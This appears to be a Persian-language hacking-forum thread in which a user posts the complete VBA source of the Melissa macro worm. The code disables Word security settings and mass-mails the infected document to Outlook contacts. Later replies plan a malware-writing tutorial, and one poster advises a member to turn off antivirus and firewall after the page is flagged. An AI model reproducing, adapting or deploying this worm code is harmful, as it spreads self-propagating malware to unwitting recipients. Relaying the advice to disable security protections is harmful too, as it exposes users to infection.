Melissa worm source code

[AQOUA]

با سلام
اينم سورس ويروس مليسا كه به صورت ماكرو اجرا ميشه!

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

اگه خواستين بگين تبديلش كنم.
با تشكر

[samadsam]

مرسی دوست عزیز تا مدیر نیومده اپش کن مدیر می یاد نظر می ده صفحه سنگین میشه

[!Plus]

من سورس اين ويروس رو دارم...! كلي سورس ديگه هم دارم...!؟! (البته يه سري ش Priv8 ه...!؟! )

قبلاً ها يه تاپيك زده بودم با عنوان "آموزش بد افزار نويسي...!؟!" ...!؟!

اگه پايه ايد بريم اونجا فعاليت كنيم... و تاپيك رو دوباره بالا بياريم...؟!

اگه خواستيد شروع كنيد... يه نِدا بديد... تا من تاپيك رو دوباره بيارم بالا...!؟!

ممنون...!؟!

[AQOUA]

من سورس اين ويروس رو دارم...! كلي سورس ديگه هم دارم...!؟! (البته يه سري ش Priv8 ه...!؟! )

قبلاً ها يه تاپيك زده بودم با عنوان "آموزش بد افزار نويسي...!؟!" ...!؟!

اگه پايه ايد بريم اونجا فعاليت كنيم... و تاپيك رو دوباره بالا بياريم...؟!

اگه خواستيد شروع كنيد... يه نِدا بديد... تا من تاپيك رو دوباره بيارم بالا...!؟!

ممنون...!؟!

با سلام
آقا شما اصلا همه فن حريف!
شما سرور مايي!
شما درست ميگي!
خوبه؟؟؟!!!!
ديگه ادامه ندين.
با تشكر

[!Plus]

با سلام
آقا شما اصلا همه فن حريف!
شما سرور مايي!
شما درست ميگي!
خوبه؟؟؟!!!!
ديگه ادامه ندين.
با تشكر

يعني چي...؟!؟!

اونوقت مدير مياد ميگه كه............!؟!

[IP007]

چه خبره دوستان؟
---------------------------------------------------------
پلاس جان؛ موافق باشی با هم اون تاپیکو آپ کنیم

[Morteza561]

این چه ویروسیه که همین صفحه رو باز کردم آنتی ویروسم خودشو کشت که بازش نکن

اگه با آنتی ویروس شناسایی بشه که خیلی بده.

نمیشه کاریش کرد؟

ممنون از اساتید

[!Plus]

چه خبره دوستان؟
---------------------------------------------------------
پلاس جان؛ موافق باشی با هم اون تاپیکو آپ کنیم

ممنون از اين كه مي خوايد همكاري كنيد...!؟!

اگه فردا اينترنتم قطع نشد... بر مي گردم تا دوباره شروع كنيم... و تاپيك رو بالا بياريم...!

داشتم به كتاب آموزش VBScript مي نوشتم... واسه ويروس نويسي... ولي نتونستم تمومش كنم...!؟!

يه سري ار قسمت هاش رو كه تموم كردم رو ميذارم تو تايپك...!؟!

ممنون...!

این چه ویروسیه که همین صفحه رو باز کردم آنتی ویروسم خودشو کشت که بازش نکن

اگه با آنتی ویروس شناسایی بشه که خیلی بده.

نمیشه کاریش کرد؟

ممنون از اساتید

مگه آنتي ويروست چيه...؟!؟!

اين ويروس Melissa شايد سنش از من هم بيشتر باشه...!؟! خيلي عتيقه ست...!؟!

داستان درازي داره...!؟! يه قستي از قوانين جرايم رايانه اي و... سر همين ويروس نوشته شد...!؟!

خسارت هاي سنگيني رو به بار آورد...!؟!

بيوگرافي ش رو تو يه كتاب خونده بودم...!؟!

موفق باشيد...!

[AQOUA]

این چه ویروسیه که همین صفحه رو باز کردم آنتی ویروسم خودشو کشت که بازش نکن

اگه با آنتی ویروس شناسایی بشه که خیلی بده.

نمیشه کاریش کرد؟

ممنون از اساتید

سلام
برادر من آنتي ويروس ها به صورت هوشمند طراحي شده و از روي سورس هم ويروس ها رو شناسايي ميكنن.
بهتره آنتي ويروستون و ديوار آتشتون رو غير فعال كنيد!
با تشكر

[samadsam]

آنتی ویروس کاسپریسکای منم صفحه رو ویروسی شناخت